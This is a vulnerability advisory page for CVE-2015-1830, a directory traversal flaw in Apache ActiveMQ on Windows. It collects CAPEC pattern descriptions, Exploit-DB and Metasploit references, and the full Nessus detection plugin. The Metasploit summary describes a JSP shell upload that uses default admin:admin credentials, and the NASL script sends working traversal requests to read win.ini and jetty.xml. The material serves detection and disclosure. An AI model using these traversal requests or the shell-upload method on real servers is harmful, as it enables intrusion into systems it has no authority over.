Vulnerabilities > CVE-2015-1830 - Path Traversal vulnerability in Apache Activemq

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
apache
CWE-22
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionApache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution. CVE-2015-1830,CVE-2016-3088. Remote exploit for Windows platform
    idEDB-ID:40857
    last seen2016-12-02
    modified2015-08-17
    published2015-08-17
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/40857/
    titleApache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution
  • idEDB-ID:48181
    last seen2020-03-09
    modified2020-03-09
    published2020-03-09
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/48181
    titleApache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)

Metasploit

descriptionThis module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/.jsp on the target in order to trigger the payload and obtain a shell.
idMSF:EXPLOIT/WINDOWS/HTTP/APACHE_ACTIVEMQ_TRAVERSAL_UPLOAD
last seen2020-06-04
modified2020-03-05
published2020-02-04
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/apache_activemq_traversal_upload.rb
titleApache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload

Nessus

NASL familyCGI abuses
NASL idACTIVEMQ_FILESERVER_DIRECTORY_TRAVERSAL.NASL
descriptionThe version of Apache ActiveMQ running on the remote host is affected by a directory traversal vulnerability due to improper sanitization of user-supplied input in the fileserver upload and download functionality. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to read and upload arbitrary JSP files, resulting in the execution of arbitrary commands.
last seen2020-06-01
modified2020-06-02
plugin id85580
published2015-08-21
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/85580
titleApache ActiveMQ Blob Message Directory Traversal
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(85580);
  script_version("1.8");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2015-1830");

  script_name(english:"Apache ActiveMQ Blob Message Directory Traversal");
  script_summary(english:"Attempts to retrieve a local file.");

  script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host is affected by a directory
traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Apache ActiveMQ running on the remote host is affected
by a directory traversal vulnerability due to improper sanitization of
user-supplied input in the fileserver upload and download
functionality. An unauthenticated, remote attacker can exploit this,
via a specially crafted request, to read and upload arbitrary JSP
files, resulting in the execution of arbitrary commands.");
  # http://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ed82104f");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache ActiveMQ 5.11.2 / 5.12.0 or later. Alternatively,
apply the  vendor recommended mitigation instructions.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1830");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/08/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/08/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/08/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:activemq");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("activemq_web_console_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/ActiveMQ");
  script_require_ports("Services/www", 8161);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = 'ActiveMQ';
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:8161);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];

# This only affects Windows according to the advisory
if (report_paranoia != 2)
{
  os = get_kb_item("Host/OS");
  if (!os || "Windows" >!< os) audit(AUDIT_OS_NOT, "affected");
}

files = make_list('/windows/win.ini', '/winnt/win.ini', '/conf/jetty.xml');

file_pats = make_array();
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/conf/jetty.xml'] = '\\<property.*value="ActiveMQRealm"';

url = "/fileserver/" + mult_str(str:"..\\", nb:12);
foreach file (files)
{
  if (file == '/conf/jetty.xml')
    url = "/fileserver/..\\..\\";

  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : url + file,
    exit_on_fail : TRUE
  );
  if (egrep(pattern:file_pats[file], string:res[2]))
  {
    vuln = TRUE;
    break;
  }
}
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));

security_report_v4(
  port        : port,
  severity    : SECURITY_WARNING,
  file        : file,
  request     : make_list(build_url(qs:url+file, port:port)),
  output      : chomp(res[2]),
  attach_type : 'text/plain'
);
exit(0);

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